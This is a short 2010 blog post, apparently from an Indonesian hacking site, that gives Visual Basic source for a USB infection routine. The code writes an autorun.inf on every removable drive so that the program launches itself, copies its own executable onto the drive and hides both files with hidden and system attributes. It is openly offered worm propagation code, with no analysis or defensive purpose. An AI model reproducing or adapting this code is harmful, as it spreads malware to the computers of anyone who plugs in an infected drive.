Sunday, April 25, 2010

Code Infeksi USB

Visual Basic

Code: Select all

Public Function InfeksiUSB(DigitalCat As String, AD As String)
Dim FSO, USBCatLER, USBCat

Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
Set USBCatLER = FSO.DRIVES
For Each USBCat In USBCatLER
If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE

If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\"

If DigitalUSB(USBCat & "\autorun.inf") Then
SetAttr USBCat & "\autorun.inf", 0
Kill USBCat & "\autorun.inf"
End If

Open USBCat & "\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbCrLf & _
"open=" & USBCat & "\" & AD
Close #1

If Not DigitalUSB(USBCat & "\" & AD) Then
FileCopy DigitalCat& AD, USBCat & "\" & AD
End If

SetAttr USBCat & "\" & AD, 4
SetAttr USBCat & "\autorun.inf", 4
SetAttr USBCat & "\" & AD, 2
SetAttr USBCat & "\autorun.inf", 2
End If
Next

End Function

Public Function DigitalUSB(DosyaAdi As String) As Boolean
On Error GoTo CekUSB
Call FileLen(DosyaAdi)
DigitalUSB = True
Exit Function
CekUSB:
End Function

Sub Main()
InfeksiUSB App.Path, App.EXEName & ".exe"
End Sub

No comments:

Template by : mhiman@ hacker-newbie.org